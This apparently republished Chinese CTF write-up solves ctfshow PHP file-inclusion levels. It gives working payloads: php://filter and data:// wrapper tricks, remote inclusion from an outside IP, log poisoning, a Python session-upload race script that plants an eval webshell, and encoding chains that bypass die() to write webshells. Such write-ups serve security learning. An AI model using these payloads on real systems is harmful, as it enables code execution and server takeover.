C/C++教程

ctfshow_文件包含

本文主要是介绍ctfshow_文件包含,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

简单过一遍

web78

include($file)

payload:

php://filter/read=convert.base64-encode/resource=flag.php

data://text/plain,<?=show_source('flag.php')?>

web79

$file = str_replace("php", "???", $file);
    include($file);

使用上一题的data伪协议即可,但是需要base64编码后面的字符

data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=

web80

$file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    include($file);

远程文件包含

在自己服务器上写个一句话放进txt,python3 -m http.server 8090

?file=http://1.117.144.41:8090/1.txt
aeqaq=show_source('fl0g.php');

web81

$file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    include($file);

在UA头中写入一句话,然后日志包含即可执行命令,日志位置在/var/log/nginx/access.log

web82

$file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    include($file);

点被过滤了,这个时候上面的方法都不适用

我们可以试着包含session文件竞争上传

原理了解:https://www.freebuf.com/news/202819.html

session.use_strict_mode默认值为off。当这个选项关闭时

此时用户是可以自己定义Session ID的。比如,我们在Cookie里设置PHPSESSID=flag,PHP将会在服务器上创建一个文件:/tmp/sess_flag”。即使此时用户没有初始化Session,PHP也会自动初始化Session,并产生一个键值.

注:在Linux系统中,session文件一般的默认存储位置为 /tmp 或 /var/lib/php/session

一边上传一边竞争包含即能执行文件中的恶意php代码

用python来发包包含:

import io
import sys
import requests
import threading

sessid = 'flag'

def POST(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        session.post(
            'http://adbbcde0-d9b0-4a26-b6c6-5cda99266fc1.challenge.ctf.show:8080/',
            data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat *');fputs(fopen('shell.php','w'),'<?php @eval($_POST[flag])?>');?>"},
            files={"file":('q.txt', f)},
            cookies={'PHPSESSID':sessid}
        )

def READ(session):
    while True:
        response = session.get(f'http://adbbcde0-d9b0-4a26-b6c6-5cda99266fc1.challenge.ctf.show:8080?file=/tmp/sess_{sessid}')
        if 'flag' not in response.text:
            print('[+++]retry')
        else:
            print(response.text)
            sys.exit(0)


with requests.session() as session:
    t1 = threading.Thread(target=POST, args=(session, ))
    t1.daemon = True
    t1.start()

    READ(session)

web83

比上一题加入了

session_unset();
session_destroy();

两个函数,但是传入参数包含是在这两个函数之后的,所以并不影响包含,上一题脚本适用

web84

在最后加入了 system("rm -rf /tmp/*"),但我们上传的临时文件只要他上传的时候能够包含就行了,竞争的关系所以没有影响

web85

    if(file_exists($file)){
        $content = file_get_contents($file);
        if(strpos($content, "<")>0){
            die("error");
        }
        include($file);
    }

条件竞争,因为存在文件不存在的时候,此时if不能触发,那不是直接就绕过了吗,下面依旧条件竞争包含文件

web86

define('INCLUDE_PATH','/include/');

set_include_path(INCLUDE);

这样当我们引用 include 中的文件 如 conn.php,smarty_config.php 时,我们直接可以这样写

include_once('conn.php');

include_once('smarty_config.php');

web87

$file = $_GET['file'];
    $content = $_POST['content'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);

函数file_put_contents,我们可以利用它写入一句话,但是不巧,写入的内容执行前就被die终结了,所以我们可以考虑用filter协议写入base64数据

p牛:绕过死亡diehttps://www.leavesongs.com/PENETRATION/php-filter-magic.html

 

php://filter/write=convert.base64-decode/resource=123.php

两次url编码绕过

1.base64编码绕过

GET
file=%2570%2568%2570%253a%252f%252f%2566%2569%256c%2574%2565%2572%252f%2577%2572%2569%2574%2565%253d%2563%256f%256e%2576%2565%2572%2574%252e%2562%2561%2573%2565%2536%2534%252d%2564%2565%2563%256f%2564%2565%252f%2572%2565%2573%256f%2575%2572%2563%2565%253d%2561%252e%2570%2568%2570
// file=php://filter/write=convert.base64-decode/resource=a.php
POST
content=11PD9waHAgZXZhbCgkX1BPU1RbMV0pOw==
其中PD9waHAgZXZhbCgkX1BPU1RbMV0pOw==是"<?php eval($_POST[1]);"的base64编码。前面的11是为了填充"<?php die('大佬别秀了');?>"
base64 4位4位解码,其中"<?php die('大佬别秀了');?>"解码的内容其实只有phpdie,所以需要再填充两位。
//content=<?php eval($_POST[1]);

2.rot13编码绕过

GET
file=%2570%2568%2570%253a%252f%252f%2566%2569%256c%2574%2565%2572%252f%2577%2572%2569%2574%2565%253d%2573%2574%2572%2569%256e%2567%252e%2572%256f%2574%2531%2533%252f%2572%2565%2573%256f%2575%2572%2563%2565%253d%2562%252e%2570%2568%2570
//file=php://filter/read=string.rot13/resource=b.php
POST
content=<?cuc riny($_CBFG[1]);
//content=<?php eval($_POST[1]);

web88

 if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
        die("error");
    }
    include($file);

payload:

file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmwwZy5waHAnKTsgPz4

web117

function filter($x){
    if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
        die('too young too simple sometimes naive!');
    }
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);

理解了filter的妙用之后,发现其实还有很多其他的编码方式

取一个 UCS-2LE UCS-2BE

payload:
file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
post:contents=?<hp pvela$(P_SO[T]1;)>?

 

这篇关于ctfshow_文件包含的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!